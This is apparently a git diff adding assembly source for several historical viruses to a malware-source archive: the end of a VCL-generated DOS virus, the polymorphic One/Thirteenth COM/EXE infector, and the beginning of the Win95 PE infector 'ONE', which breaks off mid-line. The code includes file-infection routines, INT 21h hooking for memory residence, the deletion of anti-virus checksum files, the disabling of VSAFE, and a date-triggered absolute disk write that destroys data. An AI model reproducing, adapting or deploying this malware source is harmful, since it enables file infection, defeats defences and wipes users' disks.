get_day + cmp ax,0004h ; Did the function return 4? + jle skip01 ; If less that or equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h + +end01: call get_month + cmp ax,0001h ; Did the function return 1? + jne skip02 ; If not equal, skip effect + call get_day + cmp ax,0001h ; Did the function return 1? + jle skip02 ; If less that or equal, skip effect + call get_hour + cmp ax,000Fh ; Did the function return 15? + jge skip02 ; If greater than or equal, skip effect + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + +end02: call get_month + cmp ax,000Bh ; Did the function return 11? + jne skip03 ; If not equal, skip effect + call get_day + cmp ax,0004h ; Did the function return 4? + jle skip03 ; If less that or equal, skip effect + call get_hour + cmp ax,000Fh ; Did the function return 15? + jge skip03 ; If greater than or equal, skip effect + jmp short strt03 ; Success -- skip jump +skip03: jmp end03 ; Skip the routine +strt03: int 018h ; Drop to ROM BASIC + +end03: call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip04 ; If not equal, skip effect + call get_day + cmp ax,0002h ; Did the function return 2? + jle skip04 ; If less that or equal, skip effect + cmp ax,0002h ; Did the function return 2? + jge skip04 ; If greater than or equal, skip effect + jmp short strt04 ; Success -- skip jump +skip04: jmp end04 ; Skip the routine +strt04: cli ; Clear the interrupt flag + hlt ; HaLT the computer + jmp short $ ; Just to make sure + +end04: call get_year + cmp ax,07CDh ; Did the function return 1997? + jle skip05 ; If less that or equal, skip effect + call get_month + cmp ax,0001h ; Did the function return 1? + jne skip05 ; If not equal, skip effect + call get_hour + cmp ax,0005h ; Did the function return 5? + jle skip05 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip05 ; If greater than or equal, skip effect + call get_second + cmp ax,0001h ; Did the function return 1? + jne skip05 ; If not equal, skip effect + jmp short strt05 ; Success -- skip jump +skip05: jmp end05 ; Skip the routine +strt05: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end05: call get_year + cmp ax,07CDh ; Did the function return 1997? + jle skip06 ; If less that or equal, skip effect + call get_month + cmp ax,0001h ; Did the function return 1? + jle skip06 ; If less that or equal, skip effect + call get_hour + cmp ax,0009h ; Did the function return 9? + jle skip06 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip06 ; If greater than or equal, skip effect + call get_second + cmp ax,0005h ; Did the function return 5? + jne skip06 ; If not equal, skip effect + jmp short strt06 ; Success -- skip jump +skip06: jmp end06 ; Skip the routine +strt06: mov ax,0002h ; First argument is 2 + mov cx,423Fh ; Second argument is 16959 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + +end06: mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 0FDh,0C8h,006h,0C6h,0DFh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 0BFh,0C0h,0BDh,072h,05Fh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 0A9h,06Bh,0DAh,081h,0AFh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + + db 0F1h,0F6h,003h,06Bh,099h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 0CDh,005h,004h,026h,0CFh + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + + db 0F3h,06Ah,0F8h,002h,08Ah + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + + db 0A8h,000h,015h,081h,0E7h + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + + db 03Fh,0FFh,089h,057h,0F2h + +get_year proc near + mov ah,02Ah ; DOS get date function + int 021h + xchg cx,ax ; Transfer the year into AX + ret ; Return to caller +get_year endp + +data00: +db "Says the OMEGA virus:" + +db "It has been nice playing these games with you, +db "...but now it is all over." +db "[...I am the Alpha and the Omega, the begining and the end.]" +db "-Rev 22:6" +db "Your C drive is being raptured!" + +db "[...It is finished...]" +db "-Rev 16:17" + + +db "____________" +db "/ \" +db "| |" +db "| |" +db "| |" +db "\ \ / /" +db "\______\ /______/" + +db "Omega" +db "(The End)" + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.one-13.asm b/MSDOS/Virus.MSDOS.Unknown.one-13.asm new file mode 100644 index 00000000..ecd83180 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.one-13.asm @@ -0,0 +1,429 @@ + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä +; One/Thirteenth - coded by ûirogen [NuKE] on 02-23-95 +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä +; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector +; -Deletes Invircible Signature Files from disk no matter what name +; they are under. +; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS. +; -Avoids Infecting InVircible Bait Files +; -Disables VSAFE/VWATCH if in memory +; -Avoids new format EXEs +; -Installs it's own INT 24h +; -EXE Id is: Checksum Not 0 +; -COM Id is: Fourth byte 0 +; -Resident Check: VSAFE/VWATCH API , ret:SI=0 +; +; Polymorphism: ûiCE v0.3á /w JMPS ON & ANTI-TBSCAN CODE ON +; +; +; +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +buf_size equ 170 +vice_size equ 1761+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE + +extrn _vice: near + +org 0h +start: + int 3 + call nx ; get relative offset +nx: mov si,sp ; no-heuristic + sub word ptr ss: [si],offset nx + mov bp,word ptr ss: [si] + add sp,2 + + push ds es ; save segments for EXE + inc si + mov ax,1000 + add ax,signal-1000 ; no heuristics m0n + mov dx,vsafe_word + int 21h + or si,si + jz no_install ; if carry then we are + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + mov al,'Z' ; no heuristics + cmp byte ptr ds: [0],al ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem + +no_install: + + pop es ds ; restore ES DS + xor ax,ax ; null regs + xor bx,bx + xor dx,dx + cmp cs: is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov cx,100h ; jump back to 100h + push cx +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Main Infection Routine +; +infect_file: + + push dx + pop si + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es: [24h*4] ; get INT 24h vector + mov cs: old_24_off,ax ; save it + mov cs: old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds + push es ; we'll need it later + push cs + pop es + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + mov ah,3fh ; Read first bytes of file + mov cx,20h + lea dx,org_bytes + int 21h + + call kill_anti_virus ; kill validation filez + + cmp byte ptr org_bytes,'M' + jz do_exe + cmp byte ptr org_bytes,90h ; InVircible bait? + jz close + cmp byte ptr org_bytes+3,0 + jz close + + mov is_exe,0 + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00001111b ; jmps,anti-tbscan, garbage, no CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + pop cx ax ; restore attrib + int 21h + + mov ah,3eh + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret + +do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds: exe_jump, ax + mov word ptr ds: exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax ; save file size DX:AX + + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + mov rel_off,dx + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,virus_size+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor and + push di ; encrypted code (at heap) + mov cx,virus_size ; CX=virus size + mov dx,rel_off ; DX=offset decryptor will run from + mov al,00001110b ; jmps,anti-tbscan,garbage, use CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files +; +kill_anti_virus: + push bx + mov ah,1ah ; set DTA + lea dx,ff_info + int 21h + mov cx,16h ; include all attribs + lea dx,inv_spec + mov ah,4eh + int 21h ; findfirst + jnc inv_loop + jmp inv_done +inv_loop: + lea si,f_name + push si + mov dx,si + cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT? + jz is_anti + cmp word ptr [si+8],'SM' ; CHKLIST.MS? + jz is_anti + cmp word ptr [si+8],'PC' ; CHKLIST.CPS? + jz is_anti + cmp f_sizeh,0 ; high word set? + jnz findnext + cmp f_sizel,10000 ; > 10000 bytes? + jg findnext + mov ax,3d00h + int 21h + jc findnext + xchg ax,bx + mov ah,3fh + mov cl,2 + lea dx,inv_word + int 21h + mov ah,3eh + int 21h + mov ax,word ptr inv_word + mov cl,4 + lea si,false_struct +test_false: ; test for false positives + cmp ax,[si] + jz findnext + inc si + inc si + loop test_false + + xor al,ah ; xor first byte by second + lea si,iv_struct + mov cl,6 +test_iv: ; test if invircible + cmp al,[si] + jz is_anti + inc si + loop test_iv + jmp findnext +is_anti: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h + lea dx,f_name + int 21h +findnext: + mov al,0 ; null out filename + pop di ; di-> fname + mov cl,13 + rep stosb + mov ah,4fh + int 21h + jc inv_done + jmp inv_loop +inv_done: + pop bx + ret + +inv_word dw 0 +inv_spec db '*.*',0 +iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives +false_struct dw 'ZM' ; EXE Header + dw 'KP' ; PKZIP archive + dw 0EA60h ; ARJ archive + dw 'ER' ; REM in batch files +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; new 21h + +new21: + + pushf + cmp ax,signal ; be it us? + jnz nchk ; richtig.. + cmp dx,vsafe_word + jnz nchk + xor si,si + mov di,4559h + jmp jmp_org +nchk: cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es + call infect_file + pop es ds si dx di cx bx ax + +jmp_org: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +credits db 'One/Thirteenth, coded by ûirogen [NuKE]' +new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +vend: ; end of virus on disk .. heap + db 16h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +ff_info db 26 dup(0) +f_sizel dw 0 +f_sizeh dw 0 +f_name db 13 dup(0) +cseg ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.one.asm b/MSDOS/Virus.MSDOS.Unknown.one.asm new file mode 100644 index 00000000..5f0b0081 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.one.asm @@ -0,0 +1,701 @@ + +; ONE V1.0b By JFK/SGWW +; +; +; ONE is not only my first Win95 virus, but also my first virus +; which I have released. I'm not really all that proud of it, +; cause it didn't turn out at all to be what I had expected. But hey, +; maybe next time :) Hmmm, this virus really has no chance of +; spreading because it never moves out of its current directory. +; It's more or less just a learning experience. +; +; Features: +; * File Mapping (though it's sorta pointless because off all +; the normal reads) +; * Capable of infecting read only files. +; * Only increases a files size if it has to. +; * LOTS O' COMMENTS!!!! :-) +; +; Description: +; One will look in the current directory for *.exe files until +; it finds one that it should/can infect or until there are no +; more exe files. When a exe file is found, One reads in the PE +; header, and object table. One closes the file and looks for +; the next exe file if it determines the current file has already +; been infected. If the file has not been infected, One figures +; out all the new sizes of objects and stuff like that for the +; host. One then maps the file to memory, fills in the new PE +; header, object table, and appends the virus code to the end of +; the last object. One then unmaps the file, and closes it which +; automatically saves the changes made while mapped. One then +; starts all over looking for more *.exe files, if one is not found, +; control is given to the host's original entry point. +; +; Notes: +; * ONE will NOT work on WinNT +; * First generations crash. (because OldEA is 0) +; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen. +; +; Greetz: +; Dakota: Your web page looks pretty nice! +; #virus & #vir (undernet): hiya :) +; SGWW: Thanx for accepting me as one of you. +; paw: Watch out pal, I've been practicing my trivia! +; RAiD: alt.comp.virus.raid-vs-avers??? :) +; Yesna: Did you forget your password on X? You never have ops! =) +; Opic: Did you find any good BBS's yet!?!? heheh +; LovinGod: You need a book on winsock bro! ;) +; Virogen: Ok, so this is not exactly the kernel infector I was talking about. +; Gloomy: ne ebi mozgi! :)))) +; +; Assemble with: +; tasm32 -ml -m5 -q -zn one.asm +; tlink32 -Tpe -c -x -aa one,,, import32 +; pewrsec one.exe + +.386p +.model flat + +include Win32API.inc + +v_size equ v_end - v_start ;Virus absolute size in filez. + + +extrn ExitProcess :proc + +.data + db ? ;Some dummy data so tlink32 dont yell. + +.code +v_start: + push eax ;Save room for old Entry Point. + pushad ;Save registers. + add esp, 36d ;ESP->After saved registers+4. + + call OldTrick ;Get delta offset. +OldTrick: pop ebp + sub ebp, offset OldTrick ;EBP = delta offset. + + mov eax, [ebp+OldEA] ;Address for return. + push eax ;Save it. + sub esp, 32d ;Fix stack. + + mov eax, 15d + mov [ebp+lpfGetProcAddress], eax + +findK32PEHeader: + mov edi, 0BFF6FFFFh ;Will be inc'ed later + mov ecx, 00000300h ;Scan this many bytes. + mov eax, 00004550h ;Scan for "PE\0\0". + +F_PE_I_Edi: + inc edi +Find_PE: + repne scasb ;Repeat while not equal, scan byte. + jne RestoreHost ;Bomb if not found. + + cmp [edi-1], eax ;Is this dword "PE/0/0"? + jne Find_PE ;Nope, continue scanning. + + dec edi ;EDI was +1 off from Repne Scasb + mov bx, word ptr [edi+16h] ;Get characteristics word. + and bx, 0F000h ;Unmask the bytes we need. + cmp bx, 2000h ;Is it 2000h (a DLL)? + jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel. + + mov eax, [edi+34h] ;EAX = Image Base (or Image Handle) + mov [ebp+K32Base], eax ;Save Image base. + mov ebx, [edi+78h] ;Get RVA of Export Table. + add ebx, [ebp+K32Base] ;Add Base Address. + mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers. + add edi, [ebp+K32Base] ;Add Base Address. + + ;Determine offset for unnamed functions. + mov ecx, [ebx+14h] ;Number of functions... + sub ecx, [ebx+18h] ;...less number of names... + mov eax, 4 ;...times by four. + mul ecx ;Do it. + mov [ebp+UnnamedOffset], eax ;Save it. + + ;Calculate number of double words in string pointer array. + mov ecx, [ebx+18h] ;Number of names... + mov eax, 4 ;...times by four. + mul ecx ;Do it. + xchg ecx, eax ;CX=Num dwords. + + mov edx, edi ;Mul fucked up EDX,EDX=start of array. + +CheckFunctionName: + sub ecx, 4 ;Next name. + mov edi, edx ;Base address... + add edi, ecx ;...plus array index. + mov edi, [edi] ;Get RVA of name. + add edi, [ebp+K32Base] ;Add base address. + + lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record. + lea eax, [ebp+lpfGetProcAddress] ;Save entry point here. + call ExtractAbsoluteAddress ;Check this name for it. + + cmp ecx, 0 ;Checked all the names? + jne CheckFunctionName ;Nope. Check the next name. + + cmp [ebp+lpfGetProcAddress], 00h ;Did we get it? + je RestoreHost ;Nope! :( + + ;Get all of our needed API offsets from memory. + lea esi, [ebp+ImportTable] ;Start of stucture for offsets. + mov edx, esi ;Same. +GFO_NextChar: + mov bl, [edx] ;bl = next char in table. + cmp bl, 0 ;Is it 0? + je GFO_ItsZero ;Yeah. + cmp bl, '-' ;Is it the end of the table? + je After_GFO ;Yeah, continue. + inc edx ;Next char. + jmp GFO_NextChar ;Loop. +GFO_ItsZero: + inc edx ;EDX -> where offset will go. + mov eax, esi ;EAX -> function name. + push edx ;Save EDX. + call MyGetProcAddress ;Get this function's offset. + jc RestoreHost ;Quit on fail. + pop edx ;Restore EDX. + mov [edx], eax ;Save offset. + add edx, 4 ;EDX -> next functions name. + mov bl, [edx] ;BL = first char of name. + cmp bl, '-' ;Are we done yet? + je After_GFO ;Yep. + mov esi, edx ;ESI -> Next functions name. + inc edx ;Check next char. + jmp GFO_NextChar ;Do it. +After_GFO: + + ;Look for FIRST *.exe file. + lea eax, [ebp+FoundFileData] ;Where to store results. + push eax + lea eax, [ebp+lpsExeFiles] ;Name of files to look for. + push eax + call [ebp+lpfFindFirstFileA] ;Direct API call. +;On return, if a file with the name is found, eax = the handle, +;otherwise eax=FFFFFFFF + cmp eax, 0FFFFFFFFh ;No file found? + je RestoreHost ;No more exe files in this folder. + mov [ebp+FoundFileHandle], eax ;Save handle. + +MainLoop: + call ReadInPEHeader ;Read in the files PE header. + cmp ebx, 0 ;Did we fail? + je FindNextFile ;Next file on failure. + + call SetNOAttribs ;Remove files attributes. + jc FindNextFile ;Couldnt set attributes. + + call OpenFile ;Open the file. + jc FindNextFile ;Couldnt open file. + + call MapFile ;Map this file into memory + jc MapFailed ;Couldn't map file. + + call InfectFile ;Infect it. + + push dword ptr [ebp+MapBaseAddr] + call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory. + +MapFailed: + call CloseFile ;Close the file. + + call RestoreAttribs ;Restore the original attributes. + + +FindNextFile: + lea eax, [ebp+FoundFileData] ;Where to store results. + push eax + push dword ptr [ebp + offset FoundFileHandle] + ;Handle from previous searches. + call [ebp+lpfFindNextFileA] ;Do it. + or eax, eax ;Success? + jnz MainLoop ;Yes, Continue search. + +RestoreHost: + popad + ret + +;*********************** +;****** Functions ****** +;*********************** + +;**** InfectFile **** + +InfectFile PROC + ;Append virus code to end of last object. + mov edx, [ebp+OldPhysSize] ;Physical size of object. + add edx, [esi+20d] ;Physical offset of object. + add edx, [ebp+MapBaseAddr] ;Plus of mapped object. + + lea eax, v_start ;EAX = start of virus. + add eax, ebp ;Plus delta offset. + + mov ecx, v_size ;Number of bytes to write. + call WriteMem ;write it. + + ;Write new object table to host. + mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object. + add eax, 3Ch ;Offset of -> to PE header. + mov 